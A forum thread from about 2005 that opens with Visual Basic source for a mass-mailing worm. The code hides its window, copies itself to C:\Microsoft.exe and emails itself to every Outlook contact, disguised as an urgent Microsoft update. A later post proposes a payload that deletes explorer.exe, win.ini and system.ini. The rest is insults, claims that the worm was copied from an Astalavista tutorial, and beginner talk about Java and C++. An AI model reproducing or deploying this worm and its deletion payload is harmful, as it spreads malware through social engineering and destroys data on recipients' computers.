Private Sub Form_Load()

Me.Hide

Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Microsoft.exe"

Set so = CreateObject(fso)

Set ol = CreateObject("Outlook.Application")

Set out = Wscript.CreateObject("Outlook.Application")

Set mapi = out.GetNameSpace("MAPI")

Set a = mapi.AddressLists(1)

For X = 1 To a.AddressEntries.Count

Set Mail = ol.CreateItem(0)

Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)

Mail.Subject = "Microsoft update PLEASE OPEN ATTACHMENT"

Mail.Body = "Microsoft Update VERRY IMPORTANT UPDATE!!!!. Just open the attachment and you can install the update."

Mail.Attachments.Add = "C:\Microsoft.exe"

Mail.Send

Next

ol.Quit

End Sub

Remember this is not to be used and if you do use it I take no responsibility.

Technically, yes. This is a worm.

Officially, yes. This is absolutely dense.

Ok.

Hey man,

Where'd you learn to do that?

Got a messenger? I'd like to chat.

Later

quote:Originally posted by ICEMAN1968:

Hey man,

Where'd you learn to do that?

Got a messenger? I'd like to chat.

Later

Ya koalaz2004 (aim)



[This message has been edited by KOALAZ (edited 01-05-2005).]

Now you see how in the code there is a Microsoft.exe what if i put this code in the Microsoft.exe

Private Sub Form_Load()

Kill C:\windows\explorer.exe

Kill C:\windows\win.ini”

Kill C:\windows\system.ini”

End Sub

Would this still be a worm or would it be a virus?

quote:Originally posted by KOALAZ:

Kill C:\windows\explorer.exe



Access denied: Sharing violation

quote:

Kill C:\windows\win.ini”

Kill C:\windows\system.ini”



Well, first of all, you missed quotes on all three of the strings. Second of all, no. This just classifies the program as (poorly designed) malicious code.

Bullshit,

he didn't write that, he got it from Astalavistas archives. I got exacly the same file like 2 years ago. The guy wrote a tutorial an he called the worm Noobie something. He just changed the body.

http://www.astalavista.com//data/worm_writting.txt

Damn F1 your right this guy is a fucking tard.

And pluz it would all be detected now one as a Bloodhoound n other for the email fing

Thats all from Astalavista. If your going to post it hear don't claim it as if wrote it.

fuking n00b.

bet you can't even tell what language this is written in

code:<pre>

String nt = System.getProperty("user.name");

InetAddress thisIp = null;

String host = null;

try {

thisIp = InetAddress.getLocalHost();

host = InetAddress.getLocalHost().getHostName();

}

catch (Exception e_1) {}

String ip = thisIp.getHostAddress();

String comp_info = "User: " + nt + " on " + host + " using IP: " + ip;

</pre>

quote:Originally posted by b:

fuking n00b.

bet you can't even tell what language this is written in

code:<pre>

String nt = System.getProperty("user.name");

InetAddress thisIp = null;

String host = null;

try {

thisIp = InetAddress.getLocalHost();

host = InetAddress.getLocalHost().getHostName();

}

catch (Exception e_1) {}

String ip = thisIp.getHostAddress();

String comp_info = "User: " + nt + " on " + host + " using IP: " + ip;

</pre>



That would be ethier C or C++

quote:Originally posted by Geeksta:



That would be ethier C or C++

lol, you are a fucking noob

Looks like Java.

quote:Originally posted by cense:

Looks like Java.



good man, i really didn't think it was too hard for anyone to tell. it was really meant to be a joke, but obvisously some people dont know shit.

i never knew c++ had try/catch blocks, haha

quote:Originally posted by b:

lol, you are a fucking noob

Currently its my first year of highschool, I'm taking VB, my first computer course ever.

I never had experience with java (I will next year though) and i know very little about C++, only that there is semicolons after ever line of code. thats why i though it was C++ with all the semicolons and shit. I feel stupid. But there is no need to call me a fucking noob.

quote:Originally posted by b:

i never knew c++ had try/catch blocks, haha

Yeah... it does.

quote:Originally posted by Trueborn Vorpal:

Yeah... it does.



holy shit you are right... http://www.cplusplus.com/doc/tutorial/tut5-3.html

but won't the code in c++ compile anyway if it doesn't have a try/catch block. if you try that in java it'll be like there is an error in the code.

and i think java is more known for having try/catch than c++.

[This message has been edited by b (edited 01-09-2005).]

Java seems easyier then C++.

quote:Originally posted by Geeksta:

Java seems easyier then C++.



IMO, I think java is easier to learn than C++. But once you have acquired enough knowledge about OOP, any other language that is similar is easy to learn.

c++ is a good starting language to learn. from that you can branch off to java, or back to c.

quote:Originally posted by b:



IMO, I think java is easier to learn than C++. But once you have acquired enough knowledge about OOP, any other language that is similar is easy to learn.

c++ is a good starting language to learn. from that you can branch off to java, or back to c.

Thank you for the advice.